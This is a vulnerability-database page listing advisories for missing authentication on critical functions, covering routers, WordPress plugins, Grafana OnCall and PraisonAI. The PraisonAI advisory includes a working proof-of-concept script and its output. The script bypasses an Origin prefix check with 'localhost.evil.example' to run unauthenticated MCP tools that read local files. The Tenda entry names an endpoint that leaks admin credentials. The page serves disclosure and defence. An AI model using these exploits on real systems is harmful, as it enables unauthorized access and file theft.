Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3995 vulnerabilities reference this CWE, most recent first.

GHSA-WH53-JCXH-P452

Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2024-04-04 04:21
VLAI
Details

The hwPartsDFR module has a vulnerability in API calling verification. Successful exploitation of this vulnerability may affect device confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-31227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-26T17:15:18Z",
    "severity": "HIGH"
  },
  "details": "The hwPartsDFR module has a vulnerability in API calling verification. Successful exploitation of this vulnerability may affect device confidentiality.",
  "id": "GHSA-wh53-jcxh-p452",
  "modified": "2024-04-04T04:21:14Z",
  "published": "2023-05-26T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31227"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WH72-MC55-37HV

Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30
VLAI
Details

Tenda D151 and D301 routers contain an unauthenticated configuration download vulnerability that allows remote attackers to retrieve router configuration files. Attackers can send a request to /goform/getimage endpoint to download configuration data including admin credentials without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-21T18:16:09Z",
    "severity": "HIGH"
  },
  "details": "Tenda D151 and D301 routers contain an unauthenticated configuration download vulnerability that allows remote attackers to retrieve router configuration files. Attackers can send a request to /goform/getimage endpoint to download configuration data including admin credentials without authentication.",
  "id": "GHSA-wh72-mc55-37hv",
  "modified": "2026-01-21T18:30:30Z",
  "published": "2026-01-21T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47802"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49782"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/us"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tenda-d-d-configuration-download"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WHCQ-RH5H-J3WH

Vulnerability from github – Published: 2025-09-06 06:30 – Updated: 2025-09-06 06:30
VLAI
Details

The Cloud SAML SSO plugin for WordPress is vulnerable to Identity Provider Deletion due to a missing capability check on the delete_config action of the csso_handle_actions() function in all versions up to, and including, 1.0.19. This makes it possible for unauthenticated attackers to delete any configured IdP, breaking the SSO authentication flow and causing a denial-of-service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-06T04:16:06Z",
    "severity": "MODERATE"
  },
  "details": "The Cloud SAML SSO plugin for WordPress is vulnerable to Identity Provider Deletion due to a missing capability check on the delete_config action of the csso_handle_actions() function in all versions up to, and including, 1.0.19. This makes it possible for unauthenticated attackers to delete any configured IdP, breaking the SSO authentication flow and causing a denial-of-service.",
  "id": "GHSA-whcq-rh5h-j3wh",
  "modified": "2025-09-06T06:30:32Z",
  "published": "2025-09-06T06:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7045"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/assets/CSSO_Init.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/assets/base/CSSO_ActionHandler.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/saml-sso-plugin.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/trunk/assets/base/CSSO_ActionHandler.php?rev=3354459#L130"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/cloud-sso-single-sign-on/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87099513-d8e2-45e5-b7e6-b46558a10d3b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WHMX-4QFX-RGH5

Vulnerability from github – Published: 2022-12-04 06:30 – Updated: 2022-12-06 15:30
VLAI
Details

An issue was discovered in Veritas NetBackup Flex Scale through 3.0 and Access Appliance through 8.0.100. Unauthenticated remote command execution can occur via the management portal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-04T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Veritas NetBackup Flex Scale through 3.0 and Access Appliance through 8.0.100. Unauthenticated remote command execution can occur via the management portal.",
  "id": "GHSA-whmx-4qfx-rgh5",
  "modified": "2022-12-06T15:30:30Z",
  "published": "2022-12-04T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46414"
    },
    {
      "type": "WEB",
      "url": "https://www.veritas.com/content/support/en_US/security/VTS22-019#issue1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WHW8-2869-JF7J

Vulnerability from github – Published: 2026-07-16 18:31 – Updated: 2026-07-16 18:31
VLAI
Details

Grafana OnCall through 1.16.11 contains an unauthenticated access vulnerability that allows remote attackers to obtain a valid PluginAuthToken by sending a POST request to the internal plugin install endpoint using hardcoded default stack_id and org_id values present in the public source tree. Attackers can leverage the acquired token to authenticate against all internal API endpoints, create arbitrary Admin users via the user-context header bootstrap path, revoke the legitimate plugin token, and redirect OnCall-to-Grafana API calls to an attacker-controlled host by overwriting the organization's grafana_url and api_token.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-16T17:16:58Z",
    "severity": "CRITICAL"
  },
  "details": "Grafana OnCall through 1.16.11 contains an unauthenticated access vulnerability that allows remote attackers to obtain a valid PluginAuthToken by sending a POST request to the internal plugin install endpoint using hardcoded default stack_id and org_id values present in the public source tree. Attackers can leverage the acquired token to authenticate against all internal API endpoints, create arbitrary Admin users via the user-context header bootstrap path, revoke the legitimate plugin token, and redirect OnCall-to-Grafana API calls to an attacker-controlled host by overwriting the organization\u0027s grafana_url and api_token.",
  "id": "GHSA-whw8-2869-jf7j",
  "modified": "2026-07-16T18:31:34Z",
  "published": "2026-07-16T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/oncall.md"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grafana-oncall-unauthenticated-token-hijack-via-plugin-install-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WJ6F-3CJX-4966

Vulnerability from github – Published: 2025-12-02 21:31 – Updated: 2025-12-02 21:31
VLAI
Details

The Iskra iHUB and iHUB Lite smart metering gateway exposes its web management interface without requiring authentication, allowing unauthenticated users to access and modify critical device settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T20:15:49Z",
    "severity": "CRITICAL"
  },
  "details": "The Iskra iHUB and iHUB Lite smart metering gateway exposes its web management interface without requiring authentication, allowing unauthenticated users to access and modify critical device settings.",
  "id": "GHSA-wj6f-3cjx-4966",
  "modified": "2025-12-02T21:31:30Z",
  "published": "2025-12-02T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13510"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-336-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WJ6G-V78P-6FX3

Vulnerability from github – Published: 2026-08-25 14:26 – Updated: 2026-08-25 14:26
VLAI
Summary
PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server
Details

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

  • src/praisonai/praisonai/mcp_server/cli.py
  • src/praisonai/praisonai/mcp_server/transports/http_stream.py
  • src/praisonai/praisonai/mcp_server/server.py
  • src/praisonai/praisonai/mcp_server/adapters/__init__.py
  • src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py
  • src/praisonai/praisonai/mcp_server/adapters/cli_tools.py
  • src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

The request body is then parsed and dispatched to the MCP server:

body = await request.json()
response = await self.server.handle_message(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():

@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

python3 poc_mcp_origin_bypass.py

poc_mcp_origin_bypass.py:

import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }

    # Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )

    # Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

Observed output:

{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}

The important results are:

  • Origin: https://evil.example is rejected with 403.
  • Origin: http://localhost.evil.example is accepted with 200.
  • The bypassed request invokes praisonai.files.create and reads the local safe marker file.
  • The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

  • read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
  • modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:26:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
  "id": "GHSA-wj6g-v78p-6fx3",
  "modified": "2026-08-25T14:26:26Z",
  "published": "2026-08-25T14:26:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}

GHSA-WJ97-J26V-V8WP

Vulnerability from github – Published: 2025-07-24 21:30 – Updated: 2025-07-24 21:30
VLAI
Details

The embedded web server on the thermostat listed version ranges contain a vulnerability that allows unauthenticated attackers, either on the local area network or from the Internet via a router with port forwarding set up, to gain direct access to the thermostat's embedded web server and reset user credentials by manipulating specific elements of the embedded web interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6260"
  ],
  "database_specific": {
    "cwe_ids": [
